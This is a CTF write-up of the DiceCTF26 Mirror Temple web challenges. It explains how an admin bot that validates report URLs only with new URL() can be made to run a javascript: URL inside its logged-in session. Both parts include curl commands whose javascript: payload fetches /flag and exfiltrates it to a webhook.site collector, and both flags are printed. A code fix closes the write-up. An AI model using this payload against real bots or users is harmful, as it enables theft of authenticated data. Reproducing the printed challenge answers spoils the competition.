Logo

Writeup

DiceCTF26 Mirror Temple Challenges — Writeup

0 0xAsta
March 8, 2026
4 min read
web xss puppeteer

Mirror Temple / Mirror Temple B-Side — Writeup

This writeup covers both versions of the Mirror Temple challenge. The two instances differ in their frontend hardening, but the core bug is the same: the admin bot logs into the application, stores the real flag in an authenticated session, and then visits an attacker-controlled URL without restricting the URL scheme.

Summary

In both challenges, the application stores user data in a signed JWT cookie named save. The admin bot visits /postcard-from-nyc, submits a form containing the real flag, and then visits a user-supplied URL from /report.

The crucial mistake is in the bot:

try {
new URL(targetUrl)
} catch {
process.exit(1)
}
await page.goto(targetUrl, { waitUntil: "domcontentloaded", timeout: 10_000 })

new URL(...) only checks that the value is syntactically a URL. It does not restrict the protocol to http: or https:. That means a javascript: URL is accepted and executed by Chromium when the bot navigates to it.

Because the bot already authenticated to http://localhost:8080/, the javascript: payload runs in that origin and can read /flag.

Key Code Snippets

chall/admin.mjs (both versions):

const targetUrl = process.argv[2]
if (!targetUrl) {
console.error("usage: node admin.mjs <url>")
process.exit(1)
}
try {
new URL(targetUrl)
} catch {
console.error("invalid url")
process.exit(1)
}
const flag = (await readFile("/flag.txt", "utf8")).trim()
const page = await browser.newPage()
await page.goto("http://localhost:8080/postcard-from-nyc", { waitUntil: "domcontentloaded", timeout: 10_000 })
await page.type("#name", "Admin")
await page.type("#flag", flag)
await Promise.all([
page.waitForNavigation({ waitUntil: "domcontentloaded", timeout: 10_000 }),
page.click(".begin")
])
await page.goto(targetUrl, { waitUntil: "domcontentloaded", timeout: 10_000 }).catch(e => console.error(e))

chall/src/main/kotlin/ng/dicega/ctf/web/mirrortemple/MirrorTemple.kt (report endpoint):

@PostMapping("/report", produces = [MediaType.TEXT_PLAIN_VALUE])
@ResponseBody
fun report(@RequestParam("url") url: String): String {
runCatching {
ProcessBuilder("node", "admin.mjs", url)
.inheritIO()
.start()
}
return "your report will be scrutinized soon"
}

chall/src/main/kotlin/ng/dicega/ctf/web/mirrortemple/SaveFile.kt (flag exposure):

@GetMapping("/flag", produces = [MediaType.TEXT_PLAIN_VALUE])
@ResponseBody
fun getFlag() = currentSave().flag

Analysis

The exploit path is straightforward once the admin flow is understood:

  1. The bot authenticates as a normal user by submitting /postcard-from-nyc.
  2. The submitted flag is stored in the signed save cookie.
  3. The bot visits an attacker-controlled URL from /report.
  4. Since javascript: is allowed, we get code execution in the bot’s authenticated localhost:8080 page context.
  5. The payload reads /flag and exfiltrates it to an external collector.

One small operational detail matters: /report is an authenticated endpoint. So before submitting a report, we first need to create our own valid session by submitting any normal postcard.


Part 1: Mirror Temple

The first challenge exposes several suspicious surfaces:

  • /proxy forwards arbitrary URLs
  • mirror can inject response headers
  • the site uses a permissive-looking CSP hash setup

Those are distractions for the intended solve. The clean bug is still the admin bot’s missing scheme restriction.

Exploitation

First, create a normal session:

Terminal window
curl -i -X POST 'https://mirror-temple-dee860f3e5d3.ctfi.ng/postcard-from-nyc' \
--data-urlencode 'name=test' \
--data-urlencode 'flag=dice{test}' \
--data-urlencode 'portrait='

This returns a save=... cookie. Then submit a report with a javascript: payload:

Terminal window
curl -X POST 'https://mirror-temple-dee860f3e5d3.ctfi.ng/report' \
-H 'Cookie: save=YOUR_COOKIE_HERE' \
--data-urlencode "url=javascript:fetch('/flag').then(r=>r.text()).then(f=>location='https://webhook.site/token/?flag='+encodeURIComponent(f))"

When the bot handles the report, Chromium evaluates the javascript: URL in the authenticated localhost:8080 context. The payload fetches /flag and redirects to our collector with the flag in the query string.

Final Result

Flag: dice{evila_si_rorrim_eht_dna_gnikooc_si_tnega_eht_evif_si_emit_eht_krad_si_moor_eht}


Part 2: Mirror Temple B-Side

The second version changes the frontend and CSP:

  • CSS is inlined
  • script tags use integrity hashes
  • CSP is tighter
  • frame-src and frame-ancestors are set to none

None of that fixes the actual issue, because the admin bot is still unchanged in the relevant place. It still accepts any URL scheme that new URL(...) parses successfully and still performs page.goto(targetUrl) after logging in.

Exploitation

The exploit is identical.

Create a valid user session:

Terminal window
curl -i -X POST 'https://mirror-temple-b-side-9be2c8698e1c.ctfi.ng/postcard-from-nyc' \
--data-urlencode 'name=test' \
--data-urlencode 'flag=dice{test}' \
--data-urlencode 'portrait='

Then report a javascript: URL:

Terminal window
curl -X POST 'https://mirror-temple-b-side-9be2c8698e1c.ctfi.ng/report' \
-H 'Cookie: save=YOUR_COOKIE_HERE' \
--data-urlencode "url=javascript:fetch('/flag').then(r=>r.text()).then(f=>location='https://webhook.site/token/?flag='+encodeURIComponent(f))"

The bot again executes the payload in the authenticated application origin and leaks the flag to the collector.

Final Result

Flag: dice{neves_xis_cixot_eb_ot_tey_hguone_gnol_galf_siht_si_syawyna_ijome_lluks_eseehc_eht_rof_llef_dna_part_eht_togrof_i_derit_os_saw_i_galf_siht_gnitirw_fo_sa_sruoh_42_rof_ekawa_neeb_evah_i_tcaf_nuf}

Root Cause

The bug in both challenges is trusting new URL(...) as if it were a security control. It is only a parser. It accepts non-web protocols such as javascript:.

If a bot will visit attacker-controlled URLs after authenticating to a sensitive origin, the protocol must be explicitly restricted:

const u = new URL(targetUrl)
if (!['http:', 'https:'].includes(u.protocol)) {
process.exit(1)
}